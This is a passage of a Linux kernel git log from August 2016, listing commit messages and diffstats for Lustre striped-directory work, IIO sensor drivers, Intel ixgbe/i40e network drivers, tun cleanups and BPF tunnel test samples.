deletions(-) commit 6e23ea986bf550a8ba9f5fb797fead3c333665f9 Author: wang di Date: Tue Aug 16 16:18:26 2016 -0400 staging: lustre: llite: fix "getdirstripe" to show stripe info Fix "lfs getdirstripe", so it can show layout information of striped directory [root@testnode tests]# ../utils/lfs getdirstripe /mnt/lustre/test1 /mnt/lustre/test1 lmv_stripe_count: 2 lmv_stripe_offset: 0 mdtidx FID[seq:oid:ver] 0 [0x280000400:0x1:0x0] 1 [0x2c0000400:0x1:0x0] Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-on: http://review.whamcloud.com/7228 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 4 + .../lustre/lustre/include/lustre/lustre_user.h | 1 + drivers/staging/lustre/lustre/llite/dir.c | 184 ++++++++++++++++----- .../staging/lustre/lustre/llite/llite_internal.h | 4 +- drivers/staging/lustre/lustre/llite/xattr.c | 7 +- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 26 +++ 6 files changed, 180 insertions(+), 46 deletions(-) commit 2de35386078259584911fc0e25e7555ffca12300 Author: wang di Date: Tue Aug 16 16:18:25 2016 -0400 staging: lustre: create striped directory 1. client send create request to the master MDT, which will allocate FIDs and create slaves. for all of slaves. 2. Client needs to revalidate slaves during intent getattr and open request. 3. lmv_stripe_md will include attributes(size, nlink etc) from all of stripe, which will be protected by UPDATE lock. client needs to merge these attributes when update inode. 4. send create request to the MDT where the file is located, which can help creating master stripe of striped directory. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3529 Reviewed-on: http://review.whamcloud.com/7196 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 3 + .../lustre/lustre/include/lustre/lustre_idl.h | 40 +++- .../lustre/lustre/include/lustre/lustre_user.h | 16 +- drivers/staging/lustre/lustre/include/lustre_lib.h | 2 + drivers/staging/lustre/lustre/include/lustre_lmv.h | 59 +++++ drivers/staging/lustre/lustre/include/obd.h | 16 +- drivers/staging/lustre/lustre/include/obd_class.h | 19 ++ drivers/staging/lustre/lustre/llite/dir.c | 26 ++- drivers/staging/lustre/lustre/llite/file.c | 40 +++- .../staging/lustre/lustre/llite/llite_internal.h | 12 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 193 +++++++++++++++- drivers/staging/lustre/lustre/llite/llite_nfs.c | 7 +- drivers/staging/lustre/lustre/llite/namei.c | 42 +++- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 244 ++++++++++++++++++--- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 32 +++ drivers/staging/lustre/lustre/lmv/lmv_obd.c | 221 ++++++++++++++++--- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 3 + .../staging/lustre/lustre/ptlrpc/pack_generic.c | 11 + 18 files changed, 880 insertions(+), 106 deletions(-) commit 5ce536b336515781ed2f9f04a014a7fd1d27b594 Author: wang di Date: Tue Aug 16 16:18:24 2016 -0400 staging: lustre: lmv: replace obd_free_memmd with lmv_free_memmd Use lmv_free_memmd for proper cleanup instead of the generic obd_free_memmd. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0bc6f19e54e337da39d9c5a1f7554ecdc8ed5ada Author: wang di Date: Tue Aug 16 16:18:23 2016 -0400 staging: lustre: lmv: remove lmv_get_easize Completely replace lmv_get_easize with lmv_mds_md_size. With this change we can delete lmv_get_easize. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_internal.h | 7 ------- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 +- 2 files changed, 1 insertion(+), 8 deletions(-) commit fad3a392b42d6ea03a3254e21bca1fc7db5a8d6c Author: wang di Date: Tue Aug 16 16:18:22 2016 -0400 staging: lustre: lmv: change handling of lmv striping information The lmv_[un]pack_md function are used to calculate the size of the data used to represent the LMV striping data. The original code was straight forward in its calculate with lmv_get_easize since only one type of data format could exist. We want to be able to support different version of this data in the future so this patch moves to generating the size of the data using the stripe count and which LMV_MAGIC_* version. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 4 - drivers/staging/lustre/lustre/include/lustre_lmv.h | 15 +- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 7 + drivers/staging/lustre/lustre/lmv/lmv_obd.c | 245 +++++++++++++++------ 4 files changed, 198 insertions(+), 73 deletions(-) commit e7deb890c5f345fb2a685de342f364d1370c28ad Author: wang di Date: Tue Aug 16 16:18:21 2016 -0400 staging: lustre: lmv: remove duplicate MAX_HASH_* The MAX_HASH_* macros already exist in obd.h. Remove the duplicated defines in lustre_idl.h. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 4 ---- 1 file changed, 4 deletions(-) commit 53126787a2a969a45c049fbdfbab6f8ac225b8f3 Author: wang di Date: Tue Aug 16 16:18:20 2016 -0400 staging: lustre: lmv: remove unused lmv_get_mea function The function lmv_get_mea() is not used so remove it. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_internal.h | 24 ------------------------ 1 file changed, 24 deletions(-) commit a0d73eb569cd4fee48d35b9ce636587fa05ed145 Author: wang di Date: Tue Aug 16 16:18:19 2016 -0400 staging: lustre: mdc: don't take rpc lock for readdir case If the operation is IT_READDIR don't need to handle the mdc RPC lock. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_mdc.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 77a782ab70d3a35812f6ad0e13e5cea72b3b6694 Author: wang di Date: Tue Aug 16 16:18:18 2016 -0400 staging: lustre: llite: change remove parameter to bool Change the 3rd parameter remove to a bool for ll_release_page function. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 10 +++++----- drivers/staging/lustre/lustre/llite/llite_internal.h | 2 +- drivers/staging/lustre/lustre/llite/statahead.c | 10 +++++----- 3 files changed, 11 insertions(+), 11 deletions(-) commit 006e4dcd41b137554f38e1cd8fea893c2255cab3 Author: wang di Date: Tue Aug 16 16:18:17 2016 -0400 staging: lustre: llite: pass inode to ll_release_page Add a inode parameter to ll_release_page. This will be used in the future. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 17 +++++++++-------- drivers/staging/lustre/lustre/llite/llite_internal.h | 2 +- drivers/staging/lustre/lustre/llite/statahead.c | 20 +++++++++++--------- 3 files changed, 21 insertions(+), 18 deletions(-) commit 5b8d9852315ca055c78fb94ea7c2354377f20090 Author: wang di Date: Tue Aug 16 16:18:16 2016 -0400 staging: lustre: llite: style cleanup for llite_internal.h Group function prototypes together related to dir.c. Move ll_release_page to be with function declarations. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_internal.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 6833c103cc962310f070837b6b4f3bf9e6b989cc Author: wang di Date: Tue Aug 16 16:18:15 2016 -0400 staging: lustre: llite: remove comment from ll_dir_read Remove comment about fixing swabbing that is not needed. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 4 ---- 1 file changed, 4 deletions(-) commit 3978732f3c5bf23439f3c31c6c588d88a51591e9 Author: wang di Date: Tue Aug 16 16:18:14 2016 -0400 staging: lustre: llite: add md_op_data parameter to ll_get_dir_page Pass in struct md_op_data for ll_get_dir_page function. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 8 ++++---- drivers/staging/lustre/lustre/llite/llite_internal.h | 4 ++-- drivers/staging/lustre/lustre/llite/statahead.c | 15 +++++++++++---- 3 files changed, 17 insertions(+), 10 deletions(-) commit d1682a9a7a2eac4b3b7541f25848f7b1d7286918 Author: Johanna Abrahamsson Date: Tue Aug 16 15:02:58 2016 +0200 staging: iio: ade7854: checkpatch fixes (alignment of parameters) CHECK: Alignment should match open parenthesis Signed-off-by: Johanna Abrahamsson Signed-off-by: Jonathan Cameron drivers/staging/iio/meter/ade7854.c | 40 ++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 20 deletions(-) commit ce08cc986ed6bcd43fcbef83ef6efc62a2d44eef Author: Matt Ranostay Date: Fri Aug 19 13:36:11 2016 -0700 iio: chemical: atlas-ph-sensor: add ORP feature Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron .../bindings/iio/chemical/atlas,orp-sm.txt | 22 +++++++++ drivers/iio/chemical/Kconfig | 1 + drivers/iio/chemical/atlas-ph-sensor.c | 53 +++++++++++++++++++++- 3 files changed, 75 insertions(+), 1 deletion(-) commit d7c0e5ae70205be94809c887b8f621dd226ea2f2 Author: Matt Ranostay Date: Fri Aug 19 13:36:10 2016 -0700 iio: chemical: atlas-ph-sensor: switch to REGCACHE_NONE regmap tree Since there are overlapping volatile regions between parts, and only register that isn't volatile is the temperature compensation provided from userspace. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/chemical/atlas-ph-sensor.c | 16 ---------------- 1 file changed, 16 deletions(-) commit b015b3e32187225ff1265c4b13f84559fd22ecd7 Author: Matt Ranostay Date: Fri Aug 19 13:36:09 2016 -0700 iio: chemical: atlas-ph-sensor: switch to iio_device_*_direct_mode helpers Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/chemical/atlas-ph-sensor.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 4d671b71beefbfc145b971a11e0c3cabde94b673 Author: Matt Ranostay Date: Fri Aug 19 20:17:03 2016 -0700 iio: adc: ti-adc161s626: add support for TI 1-channel differential ADCs Add support for Texas Instruments ADC141S626, and ADC161S626 chips. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/adc/ti-adc161s626.txt | 16 ++ drivers/iio/adc/Kconfig | 12 + drivers/iio/adc/Makefile | 1 + drivers/iio/adc/ti-adc161s626.c | 248 +++++++++++++++++++++ 4 files changed, 277 insertions(+) commit adca058b56108eb3458165c6a9e5d78558be8b52 Author: Matt Ranostay Date: Fri Aug 19 20:17:02 2016 -0700 iio: buffer-callback: allow getting underlying iio_dev Add iio_channel_cb_get_iio_dev function to allow getting the underlying iio_dev. This is useful for setting the trigger of the consumer ADC device. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/buffer/industrialio-buffer-cb.c | 24 ++++++++++++++---------- include/linux/iio/consumer.h | 12 ++++++++++++ 2 files changed, 26 insertions(+), 10 deletions(-) commit a4fa6509dda47e51c3582409e8630b24702970c5 Author: Jelle van der Waa Date: Tue Jul 26 23:23:48 2016 +0200 iio: accel: add support for the Domintech DMARD09 3-axis accelerometer Minimal implementation of an IIO driver for the Domintech DMARD09 3-axis accelerometer. Only supports reading the x,y,z axes at the moment. Implementation based on the Android driver from the Acer Liquid E2 kernel sources. Signed-off-by: Jelle van der Waa Signed-off-by: Jonathan Cameron .../devicetree/bindings/i2c/trivial-devices.txt | 1 + drivers/iio/accel/Kconfig | 10 ++ drivers/iio/accel/Makefile | 1 + drivers/iio/accel/dmard09.c | 157 +++++++++++++++++++++ 4 files changed, 169 insertions(+) commit b1b79f53278f2e2ec07fc8a899068fcc04ca439b Author: Aleksei Mamlin Date: Mon Jul 25 18:21:18 2016 +0300 iio: accel: Add support for Domintech DMARD06 accelerometer This patch add support for Domintech DMARD05, DMARD06 and DMARD07 accelerometers. Signed-off-by: Aleksei Mamlin Acked-by: Rob Herring Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/accel/dmard06.txt | 19 ++ drivers/iio/accel/Kconfig | 11 + drivers/iio/accel/Makefile | 1 + drivers/iio/accel/dmard06.c | 241 +++++++++++++++++++++ 4 files changed, 272 insertions(+) commit 0363dfc585c5c62659be48b6de4b0f8abef4c839 Author: Aleksei Mamlin Date: Mon Jul 25 18:21:17 2016 +0300 devicetree: bindings: Add vendor prefix for Domintech Co., Ltd. Add vendor-prefix for Domintech Co., Ltd. Signed-off-by: Aleksei Mamlin Acked-by: Rob Herring Signed-off-by: Jonathan Cameron Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 04462f2aed3960c7c1589117ffe72362a9065490 Author: Philippe Reynes Date: Sat Aug 20 00:52:19 2016 +0200 net: ethernet: renesas: ravb: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Acked-by: Sergei Shtylyov Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb_main.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit 0f635171e3adad749c2f374aeac97594aba24b52 Author: Philippe Reynes Date: Sat Aug 20 00:52:18 2016 +0200 net: ethernet: renesas: ravb: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phy_dev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Acked-by: Sergei Shtylyov Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb.h | 1 - drivers/net/ethernet/renesas/ravb_main.c | 29 ++++++++++++----------------- 2 files changed, 12 insertions(+), 18 deletions(-) commit f290040dc5de0dbfa85b64555e1b7d0425276357 Merge: 8238ac0 92ed843 Author: David S. Miller Date: Sat Aug 20 21:58:49 2016 -0700 Merge branch '10GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 10GbE Intel Wired LAN Driver Updates 2016-08-20 This series contains updates to ixgbe and ixgbevf. Veola fixes how the backplane reports the media in ethtool, as KR, KX or KX4 based on the backplane interface present. Emil fixes ixgbevf since an incorrect size parameter for ixgbevf_write_msg_read_ack() ended up only giving the PF the first 4 bytes of the MAC address, so correct the size by calculating it on the fly for all instances where we call ixgbevf_write_msg_read_ack(). Added geneve receive offload support for x550em_a. Don fixes the LED interface for x557 since it uses a different interface. Added support for the new x557 copper device. ==================== Signed-off-by: David S. Miller commit 92ed84300718de43fd7a92ebbd3dc1189c6dd091 Author: Don Skidmore Date: Wed Aug 17 20:34:40 2016 -0400 ixgbe: Add support for new X557 device This patch adds support for the new copper device X557. Signed-off-by: Don Skidmore Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_common.c | 1 + drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 1 + drivers/net/ethernet/intel/ixgbe/ixgbe_type.h | 1 + drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 8 ++++++++ 4 files changed, 11 insertions(+) commit a83c27e79068cbaa2ce08d696b2150ebd49e8ffd Author: Don Skidmore Date: Wed Aug 17 17:34:07 2016 -0400 ixgbe: add device to MDIO speed setting This shouldn't matter as nothing should be attached still to be consisted control MDIO speed for these devices as well. Signed-off-by: Don Skidmore Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 2 ++ 1 file changed, 2 insertions(+) commit a0ad55a36e33905c7a79627f1f3448db1105210f Author: Don Skidmore Date: Wed Aug 17 14:11:57 2016 -0400 ixgbe: Fix led interface for X557 devices The X557 devices use a different interface to the LED for the port. This patch reflect that change. Signed-off-by: Don Skidmore Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_type.h | 3 ++ drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 52 +++++++++++++++++++++++++-- 2 files changed, 53 insertions(+), 2 deletions(-) commit a21d0822ff693655b4bf412405ecd649636f3d3b Author: Emil Tantilov Date: Wed Aug 10 11:19:23 2016 -0700 ixgbe: add support for geneve Rx offload Add geneve Rx offload support for x550em_a. The implementation follows the vxlan code with the lower 16 bits of the VXLANCTRL register holding the UDP port for VXLAN and the upper for Geneve. Disabled NFS filters in the RFCTL register which allows us to simplify the check for VXLAN and Geneve packets in ixgbe_rx_checksum(). Removed vxlan from the name of the callback functions and replaced it with udp_tunnel which is more in line with the new API. Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe.h | 4 +- drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 174 ++++++++++++++++++-------- drivers/net/ethernet/intel/ixgbe/ixgbe_type.h | 7 ++ 3 files changed, 134 insertions(+), 51 deletions(-) commit c64269710ef28eb0dea03098853e425851214496 Author: Emil Tantilov Date: Wed Jul 27 10:55:08 2016 -0700 ixgbevf: fix incorrect MAC address on load The PF driver was only receiving the first 4 bytes of the MAC due to an incorrect size parameter for ixgbevf_write_msg_read_ack() in ixgbevf_set_rar_vf(). Correct the size by calculating it on a fly for all instances where we call ixgbevf_write_msg_read_ack() Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbevf/vf.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) commit 27b23f96f3cf6ffd680e28bf569d8ddd71842590 Author: Veola Nazareth Date: Sat Aug 20 19:35:37 2016 -0700 ixgbe: report correct media type for KR, KX and KX4 interfaces ethtool reports backplane type interfaces as 1000/10000baseT link modes. This has been corrected to report the media as KR, KX or KX4 based on the backplane interface present. Signed-off-by: Veola Nazareth Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_ethtool.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8238ac0ce27b9537a4c161e0382abfc613ee577b Merge: 4825a4e 3b8d2a6 Author: David S. Miller Date: Sat Aug 20 19:11:34 2016 -0700 Merge branch 'tun-cleanups' Markus Elfring says: ==================== tun: Fine-tuning for update_filter() A few update suggestions were taken into account from static source code analysis. ==================== Signed-off-by: David S. Miller commit 3b8d2a693dfa9038e8013506355b5e0c2e2edd9c Author: Markus Elfring Date: Sat Aug 20 09:00:34 2016 +0200 tun: Rename a jump label in update_filter() Adjust a jump target according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/net/tun.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 28e8190d2fb3918b5d46acafeb1968cd26e30dad Author: Markus Elfring Date: Sat Aug 20 08:54:15 2016 +0200 tun: Use memdup_user() rather than duplicating its implementation Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Reviewed-by: Shmulik Ladkani Signed-off-by: David S. Miller drivers/net/tun.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 4825a4e42c7e61520038c7d7d3efb4ffbbbd7091 Merge: 6afb1e2 bf3a178 Author: David S. Miller Date: Sat Aug 20 18:56:30 2016 -0700 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 40GbE Intel Wired LAN Driver Updates 2016-08-19 This series contains updates to i40e and i40evf only. Jake provides several patches, first just moves a function to co-locate the two functions related to configuring RSS via the admin queue, which should help in spotting bugs when comparing the two functions. Fixed an issue where commit e69ff813af35 ("i40e: rework the functions to configure RSS with similar parameters") missed checking whether the seed is NULL before using it and did not use the passed in *lut parameter. Fixed an issue where a previous refactor missed i40e_vsi_config_rss() and the values were being ignored, so checked for the fields and used them instead of default values. Lastly replaced calls to create_singlethread_workqueue() with alloc_workqueue() to provide more control over workqueue creation and allows explicit setting of the desired mode of operation. Mitch adds link speed to log messages and reports speed through ethtool. Carolyn refactors tail bump check and fixes byte ordering problems found when enabling this feature support. Adds support for HMC resources and profile commands for x722 firmware. Heinrich Schuchardt fixes format identifiers from %u to %d since the variable is defined as an integer. Catherine fixes an issue where there was a race condition between the completion of the client open and calls to the client ops, so ensured that client ops are not called until we are sure client is open. Harshitha makes sure that i40e_client_release() does not try to use an adapter pointer which may not be initialized, so make sure it is. Joe Perches fixes the use of the local macro XSTRINGIFY() to use __stringify() instead. Avinash corrects the mutex usage in client_subtask(). Fixed the RDMA client to open again after reset since it is closed during a PF reset. Jeff (me) clean up whitespace issues, where indentation was done inconsistently and with spaces versus tabs. ==================== Signed-off-by: David S. Miller commit 6afb1e28b8596443d72f82e085b4b2e8f410eae0 Author: William Tu Date: Fri Aug 19 11:55:44 2016 -0700 samples/bpf: Add tunnel set/get tests. The patch creates sample code exercising bpf_skb_{set,get}_tunnel_key, and bpf_skb_{set,get}_tunnel_opt for GRE, VXLAN, and GENEVE. A native tunnel device is created in a namespace to interact with a lwtunnel device out of the namespace, with metadata enabled. The bpf_skb_set_* program is attached to tc egress and bpf_skb_get_* is attached to egress qdisc. A ping between two tunnels is used to verify correctness and the result of bpf_skb_get_* printed by bpf_trace_printk. Signed-off-by: William Tu Signed-off-by: David S. Miller samples/bpf/Makefile | 1 + samples/bpf/bpf_helpers.h | 8 ++ samples/bpf/tcbpf2_kern.c | 191 +++++++++++++++++++++++++++++++++++++++++ samples/bpf/test_tunnel_bpf.sh | 127 +++++++++++++++++++++++++++ 4 files changed, 327 insertions(+) commit c0b558e5a393b77d2fe53335b5e07ca0e77178f8 Author: Haiyang Zhang Date: Fri Aug 19 14:47:09 2016 -0700 hv_netvsc: Implement batching of receive completions The existing code uses busy retry when unable to send out receive completions due to full ring buffer. It also gives up retrying after limit is reached, and causes receive buffer slots not being recycled. This patch implements batching of receive completions. It also prevents dropping receive completions due to full ring buffer. Signed-off-by: Haiyang Zhang Reviewed-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 17 ++++ drivers/net/hyperv/netvsc.c | 170 +++++++++++++++++++++++++++++++------- drivers/net/hyperv/rndis_filter.c | 6 +- 3 files changed, 160 insertions(+), 33 deletions(-) commit bf3a178c8a064d38f2570e6b8e4de2db07cd7083 Author: Avinash Dayanand Date: Wed Aug 17 16:04:08 2016 -0700 i40evf: Open RDMA Client after reset RDMA client is closed during the PF reset and needs to be opened again. Setting the flag so that RDMA client is opened in watchdog() function. Change-ID: I507b1e4cbd05528cdff68fd360ef3dcac8901263 Signed-off-by: Avinash Dayanand Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf_main.c | 2 ++ 1 file changed, 2 insertions(+) commit c57c99597376c2a223b1ff472f614211ade44e76 Author: Jeff Kirsher Date: Fri Aug 19 21:47:41 2016 -0700 i40e/i40evf: Fix indentation Several defines and code comments were indented with spaces instead of tabs, correct the issue to make indentation consistent. Change-ID: I0dc6bbb990ec4a9e856acc9ec526d876181f092c Signed-off-by: Jeff Kirsher Tested-by: Andrew Bowers drivers/net/ethernet/intel/i40e/i40e.h | 131 +++++++++++++++-------------- drivers/net/ethernet/intel/i40evf/i40evf.h | 57 +++++++------ 2 files changed, 96 insertions(+), 92 deletions(-) commit 0d8ab54a4119880bb9cb4680da1f5e9068d0d333 Author: Avinash Dayanand Date: Wed Aug 17 16:04:06 2016 -0700 i40e: Correcting mutex usage in client code Correcting the mutex usage, in client_subtask(), mutex_unlock has to be called just before client_del_instance() since this function opens and later closes the same mutex again. Similarly in client_is_registered removing the mutex since it closes the mutex twice. This is a patch suggested by RDMA team. Change-ID: Icce519c266e4221b8a2a72a15ba5bf01750e5852 Signed-off-by: Avinash Dayanand Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 1 + 1 file changed, 1 insertion(+) commit 35f5034f8e4bb4bce0c95a2aea2c719afbf8201f Author: Joe Perches Date: Wed Aug 17 03:37:31 2016 -0700 i40e: Remove XSTRINGIFY macro definitions and uses Use __stringify instead. Signed-off-by: Joe Perches Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e.h | 4 ---- drivers/net/ethernet/intel/i40e/i40e_client.h | 6 +++--- 2 files changed, 3 insertions(+), 7 deletions(-) commit 682d11d7001e61710b282df51a51250a57514772 Author: Harshitha Ramamurthy Date: Mon Aug 15 14:17:19 2016 -0700 i40e: Initialize pointer in client_release function The function i40e_client_release has a print statement that uses an adapter pointer which is not initialized if a previous if statement is not true. Hence, intialize it in the right place. Change-ID: I1afdaa2c46771ac42be56edcc41bb56b455b06c8 Signed-off-by: Harshitha Ramamurthy Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 91cdca4faa3e4085b37cc084b15955bb20ca2e31 Author: Catherine Sullivan Date: Mon Aug 15 14:17:18 2016 -0700 i40e: Check client is open before calling client ops We were having a race between the completion of the client open and calls to the client ops so don't call a client op unless we are sure the client is open. Testing Hints: Load IWARP driver and make sure it works as expected. Change-Id: I741f4f2aa4fcbfdad3e40dabbbb1b005856c396b Signed-off-by: Catherine Sullivan Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit fbcfac34167328f9a063e6abd03298afabfe228b Author: Heinrich Schuchardt Date: Thu Aug 11 01:07:22 2016 +0200 i40e: use matching format identifiers i is defined as int but output as %u several times. Adjust the format identifiers. Signed-off-by: Heinrich Schuchardt Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_ethtool.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 7d94906bee43384be85b767d41718463f3630869 Author: Carolyn Wyborny Date: Thu Aug 4 11:37:05 2016 -0700 i40e: Add support for HMC resource and profile for X722 This patch adds support for HMC resource and profile cmds for X722 firmware. Change-ID: Icc332101f38ab15d1bfa167823100eb4f6822f7e Signed-off-by: Carolyn Wyborny Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_adminq_cmd.h | 21 +++++++++++++++++++++ drivers/net/ethernet/intel/i40evf/i40e_adminq_cmd.h | 21 +++++++++++++++++++++ 2 files changed, 42 insertions(+) commit b7eeef495f62412bc8b0a9f8c94710653e4cdd28 Author: Carolyn Wyborny Date: Thu Aug 4 